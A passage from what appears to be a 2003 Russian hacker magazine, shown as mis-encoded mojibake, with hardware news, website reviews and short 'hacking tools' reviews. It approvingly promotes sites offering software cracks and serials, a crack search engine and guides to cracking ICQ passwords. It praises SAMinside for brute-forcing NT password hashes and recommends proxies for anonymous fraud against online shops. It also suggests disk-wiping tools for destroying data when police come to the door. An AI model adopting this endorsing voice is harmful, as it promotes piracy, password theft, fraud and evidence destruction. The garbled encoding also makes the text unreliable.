ñèñòåìíûìè òðåáîâàíèÿìè,
MovieBox USB è MovieBox DV õîòÿò
òàêóþ êîíôèãóðàöèþ: PentiumIII/
Athlon 500ÌÃö, 128Ìá ÎÇÓ,
DirectX8-ñîâìåñòèìûå ãðàôè÷åñêèé
àäàïòåð è çâóêîâàÿ ïëàòà, Windows

98SE/ME/2000/XP. Ñèñòåìíûå òðå-
áîâàíèÿ PCTV Deluxe íåñêîëüêî âû-
øå, îíà õî÷åò äëÿ ðàáîòû 700ÌÃö
ïðîöåññîð è Windows ME. Ñî âñåìè
óñòðîéñòâàìè ïîñòàâëÿåòñÿ ðóññêàÿ
âåðñèÿ ïðîãðàììû Studio8.

ÄÅÂÀÉÑÛ ÄËß ÂÈÄÅÎÌÎÍÒÀÆÀ

Ê
îìïàíèÿ SMART Modular
Technologies âûïóñòèëà USB
Bluetooth àäàïòåð, êîòîðûé

èìååò ïîëíóþ ñîâìåñòèìîñòü ñî
ñïåöèôèêàöèÿìè Bluetooth 1.1 è
USB 1.1. Íîâèíêà èìååò î÷åíü íå-
áîëüøèå ðàçìåðû, âñåãî 58 õ 19 õ 9
ìì è ìîæåò èñïîëüçîâàòüñÿ êàê â
îáû÷íûõ, íàñòîëüíûõ êîìïüþòå-
ðàõ, òàê è â íîóòáóêàõ äëÿ ñâÿçè ñ

äðóãèìè óñòðîéñòâàìè, ïîääåðæè-
âàþùèìè ýòîò ñòàíäàðò, íàïðèìåð,
ñ ðàçíîîáðàçíûìè ãàäæåòàìè, èìå-
þùèìè ïîääåðæêó Bluetooth èëè
äëÿ äîñòóïà â Èíòåðíåò ÷åðåç ñïå-
öèàëüíûé ìîäåì èëè ìîáèëüíèê.
Óñòðîéñòâî îñíàùåíî 8 Ìá ïàìÿòè,
äàëüíîñòü äåéñòâèÿ - 30 ì. Öåíà
ñîñòàâëÿåò ïðèìåðíî 35$.

ÅÙÅ ÎÄÈÍ BLUETOOTH
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http://www.softdoc.ru

Â
àðåçíûõ ñàéòîâ â Èíòåðíåòå -
âåëèêîå ìíîæåñòâî. Òàêèå
ñàéòû, êàê Softdoc.ru, ÿ âñòðå-

÷àë êðàéíå ìàëî. Èäåÿ åãî òàêîâà - íà
ñàéòå ðàçìåùàþòñÿ ñòàòüè è äîêè
(èíñòðóêöèè ïî ïîëüçîâàíèþ) ðàç-
ëè÷íûì ñîôòîì. Ñäåëàí ñàéò äîâîëü-
íî ñòèëüíî, íàâèãàöèÿ óäîáíàÿ. Îñ-
íîâíûå ðàçäåëû - ãðàôèêà, çàùèòà,
Èíòåðíåò, ìóëüòèìåäèà, îïåðàöèîí-
íûå ñèñòåìû è äðóãèå. 
Îñîáî ðàäóþò ðàçäåëü÷èêè "Æåëå-
çî" è "Ìàëåíüêèå õèòðîñòè". Ïåð-
âûé ïîñâÿùåí êàê ïðîáëåìàì ðà-
áîòû ñ æåëåçîì, òàê è æåëåçÿ÷íî-
ñîôòîâûì (íàïðèìåð, âîïðîñó ðàç-
áèâêå âèíòà íà ðàçäåëû). Âòîðîé
æå ïîñâÿùåí ñêðûòûì (è ïðîñòî

òðóäíîäîñòóïíûì) íàñòðîéêàì ñèñ-
òåìû è ïðîãðàìì.
Ïåðåõîäû îò ðàçäåëîâ ê ñòàòüÿì
òîæå îðãàíèçîâàíû óäîáíî: â âèäå
îêîøêà-àíîíñà ïóáëèêóþòñÿ íàç-
âàíèå, àâòîð, äàòà ïóáëèêàöèè,
îáúåì (!) ñòàòüè/äîêè è êîëè÷åñòâî
ïðîñìîòðîâ äîêè. Ìîæíî îñòàâëÿòü
êîììåíòàðèè ê ëþáîé. Ðàäóåò, ÷òî
àâòîðû ñàéòà íå îãðàíè÷èâàþò ñå-
áÿ îñîáîé ýòèêîé - ïóáëèêóþòñÿ,
íàïðèìåð, äîêè î òîì, êàê ïàðîëü-
÷èêè ê àñüêàì çàøèáàòü ;-).
Íà ñàéòå äåéñòâóåò äîâîëüíî ïîñå-
ùàåìûé ôîðóì, ãäå ìîæíî, íàïðè-
ìåð, ïðåäëîæèòü ïðîãðàììó äëÿ
ðàññìîòðåíèÿ è íàïèñàíèÿ äîêè.
ßâíûé ïëþñ - íà ñàéòå åñòü íîìåðà

àñåê âñåõ àäìèíîâ ñàéòà, ìîæíî
ëåãêî ñâÿçàòüñÿ.
Ïðîåêò äîâîëüíî íîâûé, íî áûñòðî
ðàçâèâàåòñÿ è ÷àñòî îáíîâëÿåòñÿ.

Äîêè ê ñîôòó - òóåâà õó÷à!

ÍÎÂÎÑÒÈ/WEB

http://www.gunsite.narod.ru

Ñ
àéò ïðèâëå÷åò âñåõ, êòî èí-
òåðåñóåòñÿ îðóæèåì. Íåñ-
ìîòðÿ íà òî, ÷òî îí íàõîäèò-

ñÿ íà õàëÿâíîì õîñòèíãå, íà êîí-
òåíòå ýòî ÿâíî íå ñêàçàëîñü. 
Èíôîðìàöèè î÷åíü ìíîãî. Áîëü-
øîå âíèìàíèå óäåëåíî ñòðóêòóðè-
ðîâàíèþ - îáðàçöû ðàçäåëåíû ïî
êëàññàì îðóæèÿ, à óæå âíóòðè êàæ-
äîãî êëàññà - íà ñîâåòñêèå-ðóññêèå
è íà èíîñòðàííûå ðàçðàáîòêè.
Ïðàêòè÷åñêè ê êàæäîìó ýêçåìïëÿ-
ðó èäåò ôîòîãðàôèÿ. Ñî÷åòàåòñÿ
èñòîðèÿ ñîçäàíèÿ è ðàçâèòèÿ îá-
ðàçöà ñ õàðàêòåðèñòèêàìè åãî â âè-
äå òàáëèöû.
Êðîìå îñíîâíûõ ðàçäåëîâ åñòü îò-

äåëüíûé î ïðîèçâîäèòåëÿõ ñòðåë-
êîâîãî îðóæèÿ (êàê íàøèõ, òàê è
áóðæóéñêèõ), â êîòîðîì áîëåå 300
(!) íàèìåíîâàíèé ñ îôèöèàëüíûìè
ññûëêàìè íà ñàéò ïðîèçâîäèòåëÿ!
Èç íèõ íàøèõ - 9, ñàéòû åñòü ó
äâóõ... äà óæ! Ñàéòû íå äåëàþò, çàòî
îðóæèå êàêîå! ;-) "Íàø áðîíåïîåçä
ñòîèò íà çàïàñíîì ïóòè".
Â ðàçäåëå "Áèáëèîòåêà" ïîäîáðà-
íû çàêîíû ÐÔ, îòíîñÿùèåñÿ ê îðó-
æèþ, áèîãðàôèè íåêîòîðûõ èçâåñò-
íûõ îðóæåéíûõ êîíñòðóêòîðîâ è
íåñêîëüêî ñòàòåé.
Îñîáî èíòåðåñåí ðàçäåë "Ìóëüòè-
ìåäèà". Òàì ñîáðàíû âèäåîôðàã-
ìåíòû î íåêîòîðûõ èç ìîäåëåé îðó-

æèÿ êàê â RealVideo, òàê è â mpg-,
avi-ôîðìàòàõ.

Ýíöèêëîïåäèÿ âîîðóæåíèé

http://www.kpnemo.ru

K
pnemo.ru - äîâîëüíî ÷àñòî
îáíîâëÿþùèéñÿ áëîã, ïîñ-
âÿùåííûé, êàê è ìíîæåñòâî

äðóãèõ, ñâåæåìó ñîôòó, ìóçûêå,
ôèëüìàì - âñåìó, ÷òî ìû èùåì â
ñåòè! ;-).
×òî îñîáî îòëè÷àåò ñàéò - ñòèëüíûé
äèçàéí, ïðàêòè÷åñêè ê êàæäîé íå
áåñïëàòíîé ïðîãðàììå ïðèëîæåí
êðÿê èëè ñåðèéíèê. Âñå ïðîãðàììû
âûêëàäûâàþòñÿ íà ñàéò ñ êðàòêèì
èëè ïîäðîáíûì îáçîðîì è ñêðèí-
øîòàìè.
Ðàçäåë ìóçûêè è âèäåî îáíîâëÿåòñÿ
çíà÷èòåëüíî ðåæå, íî ïðîäóìàííîñòü
è êà÷åñòâî îñòàþòñÿ íà óðîâíå. Åñëè
âûêëàäûâàåòñÿ êàêàÿ-òî ìóçûêà - òî,
êàê ïðàâèëî, öåëûì àëüáîìîì, ñ îá-
ëîæêîé è â õîðîøåì áèòðåéòå è ò.ä.

Â êàæäîì èç åæåíåäåëüíûõ âûïóñêîâ
èãðîâîãî ðàçäåëà - íîâàÿ èãðà, äîñ-
òóïíàÿ äëÿ ñêà÷èâàíèÿ, ñ îáçîðîì è
äîïîëíèòåëüíîé èíôîðìàöèåé.
Îñîáî õî÷åòñÿ ðàññêàçàòü î ðàçäåë
Shopping. Íåñìîòðÿ íà òî, ÷òî îí
äàâíî íå îáíîâëÿëñÿ, âåñüìà èíòå-
ðåñíû è ñòàðûå åãî ìàòåðèàëû.
Èäåÿ Shopping òàêîâà - çäåñü âûê-
ëàäûâàþòñÿ îáçîðû î ìàãàçèíàõ è
ôèðìàõ (êàê ïðàâèëî, êîìïüþòåð-
íûõ). Ïðè ýòîì îïèñûâàåòñÿ ñàì ìà-
ãàçèí, îòíîøåíèå ê êëèåíòàì, îòìå-
÷àþòñÿ äðóãèå òîíêîñòè. Îñíîâíûå
ïðåèìóùåñòâà è íåäîñòàòêè âûíî-
ñÿòñÿ â êîíåö îáçîðà.
Ðàçäåë Other ãîâîðèò ñàì çà ñåáÿ.
Çäåñü ïîìåùàåòñÿ èíôîðìàöèÿ èç
âñåõ îáëàñòåé - îáçîðû è ññûëêè íà

íîâûé ñîôò, çàáàâíûå êàðòèíêè,
þìîðèñòè÷åñêèå òåêñòû è ò.ï.

Êàïèòàí Íåìî - ñ êîðàáëÿ íà ñîôò
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http://redeyes.ru

Â
ñåì àñå÷íèêàì, ÷àòëàíàì è
ïðî÷åìó âèðòóàëüíî îáùàþ-
ùåìóñÿ ëþäó ïîñâÿùàåòñÿ!

"Êðàñíûå ãëàçà" - ñâîåãî ðîäà àêà-
äåìèÿ âèðòóàëüíîãî îáùåíèÿ,
çäåñü â ïîäðîáíûõ, èíòåðåñíûõ è
î÷åíü óâëåêàòåëüíûõ ñòàòüÿõ ðàñ-
ïèñàíû âñå òîíêîñòè âèðòóàëüíîãî
îáùåíèÿ.
Îñíîâíîå ðàçäåëåíèå íà ñàéòå ïî
îïûòó îáùåíèÿ ïîñåòèòåëÿ. Ðàçäå-
ëû "þíûì" è "áûâàëûì" ãîâîðÿò
ñàìè çà ñåáÿ.
Èíôîðìàöèÿ íà ñàéòå áóäåò ïîëåç-
íà âñåì: íà÷èíàþùèì ïîëüçîâàòå-
ëÿì îíà ïîìîæåò íå ïîïàñòü âïðî-
ñàê íà ïåðâûõ ñòàäèÿõ îáùåíèÿ,
áîëåå ïðîäâèíóòûì çäåñü ðàññêà-
çàíî î ïðåëåñòÿõ, îïàñíîñòÿõ è
ïåðñïåêòèâàõ âèðòóàëüíîãî îáùå-
íèÿ. Çà÷àñòóþ ïðèâåäåíû âïîëíå
êîíêðåòíûå ïðèìåðû. Íå ìåíåå èí-

òåðåñíûì áóäåò ýòà èíôîðìàöèÿ
äëÿ òåõ, êòî ïëàíèðóåò îòêðûòü
ñâîé ÷àò, ôîðóì èëè ÷òî-òî ïîäîá-
íîå. Èíôà íà ñàéòå ïîìîæåò ñäå-
ëàòü ðåñóðñ óþòíûì, ïðèòÿãèâàþ-
ùèì íîâûõ ïîëüçîâàòåëåé.
Ðàçäåë "Ïàíîïòèêóì" òîæå âåñüìà
èíòåðåñåí. Çäåñü ïîêàçàíû òèïè÷-
íûå ïåðñîíàæè âèðòóàëüíûõ ñîîá-
ùåñòâ. Îíè èçîáðàæåíû ñ íåêîòî-
ðûì ãðîòåñêîì, äîáàâëÿþùèì þìî-
ðà, íî "â êàæäîé ñêàçêå åñòü äîëÿ
ïðàâäû". Ïðè÷åì çäåñü ýòà äîëÿ
âåñüìà âåëèêà. Ëþáîé ÷åëîâåê, íå-
êîòîðîå âðåìÿ ïðîâåäøèé â ÷àòàõ
è ôîðóìàõ, áåç òðóäà óçíàåò â
èçîáðàæåííûõ ïåðñîíàæàõ âïîëíå
ðåàëüíûå ëè÷íîñòè.
À åùå íà ñàéòå - êîëëåêöèÿ ÷àòîâñ-
êî-ôîðóìñêîãî þìîðà, ïîäáîðêà
èíòåðåñíûõ ïðîãðàìì äëÿ ïðîäâè-
íóòîãî îáùåíèÿ è ìíîãîå äðóãîå.

Ñâîé ôîðóì íà ñàéòå îðãàíèçîâàí
ïî ïðèíöèïó íàèìåíüøåãî âìåøà-
òåëüñòâà àäìèíèñòðàöèè â ñî÷åòà-
íèè ñî ñâîáîäîé âûáîðà ñâîåãî
êðóãà îáùåíèÿ.
Ñàéò äèíàìè÷íî ðàçâèâàåòñÿ, êðî-
ìå óêàçàííûõ ðàçäåëîâ åñòü ìíîãî
äðóãèõ âåñüìà èíòåðåñíûõ, êîòî-
ðûå òîëüêî ïëàíèðóþòñÿ è íàïîë-
íÿþòñÿ.

"Êðàñíûå ãëàçà" - âñå 

î âèðòóàëüíîì îáùåíèè

ÍÎÂÎÑÒÈ/WEB

http://crack.x-forum.info

Ð
óññêèé ïîèñêîâèê êðÿêîâ.
×òî òóò åùå ñêàçàòü? ;-) Â
îòëè÷èå îò áîëüøèíñòâà

áóðæóéñêèõ àíàëîãîâ - íèêàêèõ
ïîðíîáàííåðîâ, âñïëûâàþùèõ
îêîí è ò.ä. Âñå ïðîñòî è ñòèëüíî.
Ñåðûé ôîí, ïÿòü ññûëîê, ïîèñêî-
âàÿ ôîðìà. À ÷òî åùå íàäî-òî? ;-)
ßâíûé ïëþñ � ïîèñêîâèê èùåò íå
òîëüêî ïî âñåì èçâåñòíûì áóðæóéñ-
êèì ñêëàäàì êðÿêîâ, íî è ïî íåêîòî-
ðûì ðóññêîÿçû÷íûì ñàéòàì.
×åãî ñïðàøèâàåøü? Êóäà âåäóò òå
ñàìûå ïÿòü ëèíêîâ? Èøü êàêîé
âíèìàòåëüíûé... ;). Ëèíêè - ýòî ðàç-
äåëû ôîðóìà. Îáçîðû ñîôòà, ïî-

èñê âàðåçà, ïóáëèêóþùèåñÿ ëèíêè
íà êðÿêíóòûé ñîôò - ÷òî åùå íàäî
äëÿ ïîëíîãî ñ÷àñòüÿ?

Ñàìûé ëó÷øèé ïîèñêîâèê - 

ïîèñêîâèê êðÿêîâ

http://www.autotransinfo.ru/tc.php

Â
ñåì àâòîïóòåøåñòâóþùèì
ëè÷íîñòÿì - íàñòîëüíàÿ ëèí-
êà ;-). Îñòàëüíûì òîæå äîëæ-

íî ïîíðàâèòüñÿ. Íà ñàéòå ìîæíî ïîñ-
÷èòàòü ðàññòîÿíèå îò îäíîãî ãîðîäà
äî äðóãîãî. Â ïðåäåëàõ Åâðîïû è
exUSSR-èñòîé Àçèè. Ïðè÷åì - â áàçå
äàæå ìåëêèå ãîðîäà. 
Íî ýòî òàê, â äâóõ ñëîâàõ. À òàì åùå -
ïðèìåðíîå êîëè÷åñòâî âðåìåíè, ïåðå-
ñåêàåìûå ãðàíèöû, ÏÎËÍÛÉ ìàðøðóò
ñ óêàçàíèåì íîìåðîâ òðàññ è óðîâíåì
äîðîã (àâòîìàãèñòðàëè, îáû÷íûå è
ò.ä.). Ìîæíî óêàçàòü äî òðåõ ãîðîäîâ -
÷åðåç êîòîðûå äîëæåí ïðîëåãàòü
ìàðøðóò. Åñòü ðåæèì îïòèìèçàöèè ïî

âðåìåíè. Ìîæíî èñêëþ÷àòü èç ìàðø-
ðóòà îïðåäåëåííûå ãðàíèöû (íó íå
íðàâèòñÿ êàêàÿ-òî ñòðàíà... ;)) è òàê äà-
ëåå... Â îáùåì - ñóïåð!!! Òàêèìè óäîá-
íûìè ìåëî÷àìè è æèâ Ðóíåò...

http://www.buildercpp.narod.ru

Ñ
àéò ïî äîñòîèíñòâó îöåíÿò
ïðîãðàììåðû íà C++. ×àñ-
òî îáíîâëÿþùèéñÿ, êîíòå-

íòíûé ñàéò, ïîñâÿùåííûé C++
Builder. 
Èíôîðìàöèÿ íà ñàéòå ðàçáèòà ïî
ðàçäåëàì, è îäèí äðóãîãî êðàøå!
Â ðàçäåëå "Ñòàòüè" îãðîìíîå êî-
ëè÷åñòâî ñòàòåé, ðàññ÷èòàííûõ è
íà íîâè÷êîâ, è íà ïðîôè. Âñå
ñòàòüè ðàçáèòû íà ðàçäåëû ïî
ñôåðå ïðîãðàììèðîâàíèÿ - áàçû
äàííûõ, ôîðìû, Èíòåðíåò, äèñò-
ðèáóòèâû, Windows API, ãðàôèêà,
ìóëüòèìåäèà è ìíîãèå äðóãèå.
Â îòäåëüíîì ðàçäåëå âûëîæåíû
ãîòîâûå èñõîäíèêè íåêîòîðûõ
ïðîãðàìì â ñî÷åòàíèè ñî ñòàòüÿ-
ìè ïî òåìå - ýòî òî, ÷òî äîêòîð
ïðîïèñàë!
Âûëîæåíû íåêîòîðûå èç áåñïëàò-
íûõ êîìïîíåíòîâ ê C++ Builder. È
äëÿ íîâè÷êîâ, è äëÿ ïðîäâèíóòûõ
áóäóò íå ëèøíèìè ëèíêè íà êðóï-
íûå FAQ ïî C++ Builder'ó è â öåëîì
ïî C++. Ïî ìàòåðèàëàì ñàéòà âå-
äåòñÿ ðàññûëêà, åñòü ñâîé ôîðóì.

Ñàéò äëÿ ðàçðàáîò÷èêîâ íà C++

Ïðîêëàäêà àâòîìîáèëüíîãî ìàðøðóòà
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Î
÷åðåäíîé ïðîêñåâûé ðóëåæ-
íèê, ïîçâîëÿþùèé îñòàâàòü-
ñÿ àíîíèìíûì äàæå âî âðåìÿ

ãðóïïîâîãî èçíàñèëîâàíèÿ èíòåðíåò-
ìàãàçèíîâ :). Íà ñåé ðàç îòëè÷èòåëü-
íûìè ÷åðòàìè îêàçàëèñü ñèìïîòíåé-
øèé ôåéñ - âåðõ ýðãîíîìèêè è ýñòåòè-
êè, à òàêæå ñèñòåìà ïîèñêà íîâûõ
ïðîêñèêîâ. Ïðåäñòàâü ñåáå - òåïåðü
íå íóæíî õîäèòü íà Âîéä è ïðîâå-
ðÿòü, íå ïðîïàëèëè ëè åùå çëîáíûå
äÿäüêè âñå òâîè àíîíèìíûå ñåðâà÷-
êè. Ïðîñòî âðåìÿ îò âðåìåíè íàäî íà-
æèìàòü íà êíîïî÷êó "Ïîèñêàòü ïðîê-
ñè", è òâîé ñïèñîê ïîïîëíèòñÿ íà íåñ-
êîëüêî äåñÿòêîâ íîâûõ ñåðâàêîâ. Êî-
íå÷íî, âñå ñòàíäàðòíûå ôè÷è ïðîê-
ñè÷åêåðà/÷åíäæåðà íèêóäà íå äå-
ëèñü - ñïèñîê ìîæíî ïîïîëíÿòü è
ïðîâåðÿòü âðó÷íóþ, ñìåíà ïðîêñè-

êîâ ïðîèñõîäèò ëåãêî è íåïðèíóæ-
äåííî, â îáùåì - âñå 31337 óäîâîëü-
ñòâèé :). Íàâåðíî, áîëåå âñåõ ýòó ïðî-
ãó îöåíÿò íà÷èíàþùèå, òå, êîãî íå
õâàòèëî íà íàñòðîéêó Anonymity 4
Proxy è åé ïîäîáíûõ. Çäåñü æå èìååò-
ñÿ êîìïëåêñ ìàñòåðîâ ïðàêòè÷åñêè
äëÿ âñåõ âûïîëíÿåìûõ çàäà÷ -
âïëîòü äî àâòîìàòè÷åñêîé íàñòðîéêè
áðàóçåðà (!), â òîì ÷èñëå è Îïåðû (!!!).
Êñòàòè, îí åùå è ïîäòèðàåò êóêèñû è
õèñòîðè âñåõ âèíäîâûõ ïðîã, âêëþ-
÷àÿ WMP :). Why not to try?

ÍÎÂÎÑÒÈ/HACKING TOOLS

Èìÿ: SurfNOW Professional 2.1
Ïëàòôîðìà: win (nt)
Ïîëèòèêà: shareware
Âåñèò: 940 Êá
Âåá: www.loomsoft.com 

Ó
ðà! Ñåãîäíÿ ìíå íàêîíåö ðàç-
ðåøèëè ïîñâÿòèòü äåëèâåðè
ëþáèìîé òåìå - ïàðàíîè-

äàëüíîìó âûæèâàíèþ ïîä Âèíäîé.
Íî äëÿ íà÷àëà ÿ õîòåë áû ðàññêà-
çàòü îá ýòîé ïðîãå, õîòÿ ê ïàðàíîéå
îíà èìååò ëèøü êîñâåííîå îòíîøå-
íèå. Ìàëåíüêàÿ óòèëèòà, êîòîðàÿ çà-
íèìàåòñÿ õåøàìè NT'åâûõ ïàðîëåé.

Ïðè÷åì çàíèìàåòñÿ ïëîòíî - îò
ïðîñòîãî èìïîðòà SAM'îê ñ ëîêàëü-
íîé ìàøèíû äî ñåðüåçíîãî áðóò-
ôîðñà ñ íåïëîõîé ñêîðîñòüþ. Ïëþñ
êî âñåìó îíà èìååò óíèêàëüíóþ â
ñâîåì ðîäå ôèøêó - ãåíåðàöèÿ êîäà
õåøà ïî çàäàííîìó ïàðîëþ. Ìàíüÿ-
êàì, êîòîðûå ïðåäïî÷èòàþò ÷èòàòü
õåêñû, òàêàÿ ìàçà äîëæíà ïîíðà-
âèòüñÿ. Â öåëîì ìû ïîëó÷èëè åùå
îäíó ïîëåçíÿøêó, êîòîðóþ ìîæíî
îïÿòü æå çàïèñàòü íà "õàêáîëâàí-
êó". Íà ìîåé êðåäèòêå (16 ìåòðîâ)
óæå íå îñòàåòñÿ ñâîáîäíîãî ìåñòà :)

Èìÿ: SAMinside
Ïëàòôîðìà: win
Ïîëèòèêà: demo
Âåñèò: 25,4 Êá
Âåá: www.insidepro.com

Ø
èôðóåøüñÿ? Âåçäå è
âñåãäà, îò äåâóøåê è
ïðåäêîâ, îò áîññà è îò

ìëàäøåé ñåñòðåíêè? Õå, ýòî ïðà-
âèëüíî :). À äëÿ òîãî ÷òîáû ïðîöåññ
íûêàíüÿ áûë ìàêñèìàëüíî ïðèÿò-
íûì, ðåêîìåíäóþ îäåòüñÿ â ÷åðíûé
îáòÿãèâàþùèé êîìáåç, íàöåïèòü íà
ëîá ôîíàðèê, âûêëþ÷èòü â êâàðòè-
ðå ñâåò è ïîä ïîêðîâîì íî÷è çàïóñ-
òèòü IS :). Øåñòü ôóíêöèé, ñîñðåäî-
òî÷åííûõ â ñòèëüíîì îêîøêå (MI2,
âñå äåëà), ïðèçâàíû ðàçâèòü â òåáå
îòêðûòîñòü è ëþáîâü ê áëèæíèì.
Âåäü òû áóäåøü íà 100% óâåðåí,
÷òî îíè î òåáå íè÷åãî íå çíàþò... Íó,
êðîìå òîãî, ÷òî òû ñàì èì ðàçáîë-
òàë :). Èòàê, â îêíå ìàÿ÷àò ñëåäóþ-
ùèå ôè÷è. File Hider ïîçâîëÿåò íû-
êàòü ñòðàøíóþ èíôó â áåçîáèäíûå
BMP, JPEG è ïðî÷èå HTML-ôàéëû.

Øòóêà ïîëåçíàÿ, ÿ äóìàþ, âñå ïîñå-
òèòåëè winfo.org ñêîðî î íåé óñëû-
øàò :). Encrypt Files - ñòàíäàðòíûé
êðèïòîâùèê ôàéëîâ, øåñòü àëãî-
ðèòìîâ èíêëþäåä. Self-Decrypting
Package ïîçâîëÿåò ñîçäàâàòü èç
ôàéëîâ (èëè ôàéëà) ïàêåò ñ ìîäó-
ëåì ðàñêðèïòîâêè ïî ïàðîëþ. Òî
åñòü åñëè òû ïåðåñûëàåøü êîìó-òî
çàøèôðîâàííûé ôàéë, îí ìîæåò
åãî ðàñøèôðîâàòü, äàæå íå èìåÿ
íà êîìïå IS. Shred Files - ïðèÿòíûé
óíè÷òîæèòåëü ôàéëîâ ñ ïîääåðæ-
êîé ìèðîâûõ ñòàíäàðòîâ. IP-to-IP
Password Transfer ïîçâîëÿåò ïðå-
äàâàòü ïàðîëè ïî øèôðîâàííîìó
ñîåäèíåíèþ, ñîìíèòåëüíàÿ ôè÷à,
íî ïîä îáùóþ ïàðàíîèäàëüíóþ òå-
ìó ïðîêàòèò :). Application Locker -
ïîâòîðÿåò ôóíêöèè PC Security, òàê
÷òî ëåæèò òóò ñîâåðøåííî äî êó÷è
:). Â öåëîì ïîëó÷àåòñÿ âïîëíå ñíîñ-
íûé íàáîð òóëç äëÿ ïîâñåäíåâíîãî
èñïîëüçîâàíèÿ.

Èìÿ: Invisible Secrets 4
Ïëàòôîðìà: win
Ïîëèòèêà: shareware
Âåñèò: 2,83 Ìá
Âåá: www.invisiblesecrets.com



Ñ
îâñåì íå ïàðàíîèäàëüíàÿ èíôà
ïîä êîíåö: â î÷åðåäíîé ðàç îá-
íîâèëñÿ êîìïëåêñ ìíîãîöåëå-

âîãî íàçíà÷åíèÿ ENT. Äëÿ ñïÿùèõ
êðåïêèì ñíîì íàïîìíþ, ÷òî â ñîñòàâ
ýòîãî øàìïóíÿ ñ áàëüçàìîì-îïîëàñêè-
âàòåëåì âõîäÿò ñëåäóþùèå êîìïîíåí-
òû: NetStat, ïðîäâèíóòî îòîáðàæàþ-
ùèé âñå ñîåäèíåíèÿ ìàøèíû; NBScan,
ñêàíÿùèé ñåòêó ïî NetBIOS; Portscan,
èäóùèé áåç êîììåíòàðèåâ; Shares, íå
òðåáóþùèé èõ òîæå :); LMHosts äëÿ
ïðàâêè ñîîòâåòñòâóþùåãî ôàéëà ñ
õîñòàìè; NetAudit äëÿ ïðîâåðêè óÿçâè-
ìîñòåé NB; RawTCP äëÿ ïðÿìîé óñòà-
íîâêè ñîåäèíåíèé; TraceRoute, Ping,
Lookup - ñàì ïîíèìàåøü äëÿ ÷åãî :) - è
âüþåð ïðîöåññîâ äëÿ òåõ, êîãî íå óñò-
ðàèâàåò Ctrl-Shift-Esc. Âñå â êîìïëåêòå
âûïîëíåíî â åäèíîì ñòèëüíîì ìåæäó-
ìîðäèè, ïðîôåññèîíàëüíàÿ íàïðàâ-
ëåííîñòü ïîä÷åðêíóòà ïðàêòè÷åñêè
âåçäå (îò õåëïà äî òèïñîâ). Òàê ÷òî ê
èñïîëüçîâàíèþ â êà÷åñòâå êîìáàéíà
ñîôòèíà íå ïðîñòî ïðèãîäíà - îíà

ñòðîãî ðåêîìåíäóåòñÿ. Ôàíàòàì IP-
tools ïðîñüáà íå áåñïîêîèòüñÿ :)

Èìÿ: Essential NetTools 3.1
Ïëàòôîðìà: win
Ïîëèòèêà: shareware
Âåñèò: 1,46 Ìá
Âåá: www.tamos.com

Â
îò îíà � ïàðàíîéÿ â ÷èñòîì âè-
äå. Ïðîãà ñ òàêèì íåâèííûì
íàçâàíèåì çàíèìàåòñÿ ñòðàø-

íûìè âåùàìè � ëî÷èò íàìåðòâî ïðîãè,
îêíà, ÿðëûêè, äèñêè, ïàïêè. Ïðè÷åì, â
îòëè÷èå îò âèíäîâîãî ëîêà ÷åðåç ðå-
åñòð, îáîéòè òàêóþ çàùèòó íåïðîñòî.
Ëîê-ðàçëîê ìîæíî ïðèâÿçàòü êî âðå-
ìåíè, è òîãäà âñå ñòðàøíûå ïàïêè áó-
äóò çàêðûòû äíåì, à âîò íî÷üþ... :) Êñòà-
òè, ïîä ñòðàøíûìè ïàïêàìè ìîæíî ïî-
íèìàòü êàê õðàíèëèùà òâîèõ ëþáèì ûõ

õàê-òóëç, òàê è ñïðÿòàííóþ îò áðàòè-
øåê ïîðíóõó :). Òàê ÷òî åñëè òû çà êîì-
ïîì íå îäèí è íàçðåâàþò îïàñåíèÿ, ÷òî
ïðîñòîå ðàçäåëåíèå ïðàâ â 2Ê óæå íå
ïîìîãàåò (ðîäñòâåííèêè ñèëüíî ïîäòÿ-
íóëèñü ïî èíôîðìàòèêå), îáÿçàòåëüíî
ïîùóïàé ýòîò ìåãàðåñòðèêòåð. Ò

û õî÷åøü, ÷òî-
áû íà óëèöå, â
øêîëå è óíè-

âåðå, ñðåäè çíàêîìûõ
è íåçíàêîìûõ âñå
ñðàçó âèäåëè, ÷òî òû -
÷èòàòåëü Õàêåðà? 
Íå ïðîáëåìà! Ñïåöè-
àëüíî äëÿ òåáÿ ìû ïî-
äîãíàëè öåëóþ êó÷ó
ôýíñêîãî Õ-ñòàôôà,
êîòîðûé òû ìîæåøü
êóïèòü â íàøåì Èíòåð-
íåò-ìàãàçèíå E-Shop
(www.e-shop.ru). ×òî-
áû ïîëó÷èòü ÁÅÑÏ-
ËÀÒÍÛÉ êàòàëîã E-
Shop äîñòàòî÷íî çà-
ïîëíèòü ýòîò êóïîí
èëè ôîðìó íà ñàéòå
www.xakep.ru. Íå
áóäü ïàññèâíûì ÷èòà-
òåëåì, ñòàíü ÷àñòüþ
êîìàíäû!

Èìÿ: PC Security 5.5
Ïëàòôîðìà: win
Ïîëèòèêà: shareware
Âåñèò: 940 Êá
Âåá: www.tropsoft.com

page 013

S
P

E
Z

ial D
E

LIV
E

R
Y

07(32) 2003

ÍÎÂÎÑÒÈ/HACKING TOOLS

Ï
ðîãà, î êîòîðîé ÿ ìå÷òàë âñþ
ñîçíàòåëüíóþ æèçíü, âîï-
ëîòèëàñü â ýòîì ïîëóìåãî-

âîì èíñòàëëÿòîðå. Ïîìíèòñÿ, äàâ-
íûì-äàâíî ÿ ïèñàë ñòðàøíûå áàò-
íèêè, ïðåâðàùàþùèå âèíò â
äåâñòâåííî ÷èñòûé êóñîê àëþìèíèÿ
ñ çàãðóçî÷íûìè ôàéëàìè. Ó òàêèõ
áàòíèêîâ, çàïèñàííûõ íà äèñêåòêó,
áûëà êó÷à ïðèìåíåíèé: î÷èùàòü
ëàìîáîòñêèå õàðäû îò äåðüìà ïå-
ðåä óñòàíîâêîé íîâîé ñèñòåìû, ïîä-
ãîòàâëèâàòü äèñê ê ïðîäàæå (äà, âñå
ìû áàðûæèëè õàðäâàðåì), áåççëîá-
íî øóòèòü íàä äðóçüÿìè :). À ïîòîì

äî ìåíÿ äîøëî, ÷òî èìåòü òàêóþ
äèñêåòó ïîëåçíî íà ñëó÷àé âíåçàï-
íîãî âûêëþ÷åíèÿ ýëåêòðè÷åñòâà,
ñîâìåùåííîãî ñî ñòóêîì êèðçîâûõ
ñàïîã â äâåðü :). Íî format è fdisc íå
äàþò ãàðàíòèè ñòîïðîöåíòíîé ÷èñ-
òîòû. À KFC ïîçâîëÿåò ïî÷èñòèòü
âèíò ïðàêòè÷åñêè íàãëóõî, íå îñòà-
âèâ íèêîìó øàíñà íà âîññòàíîâëå-
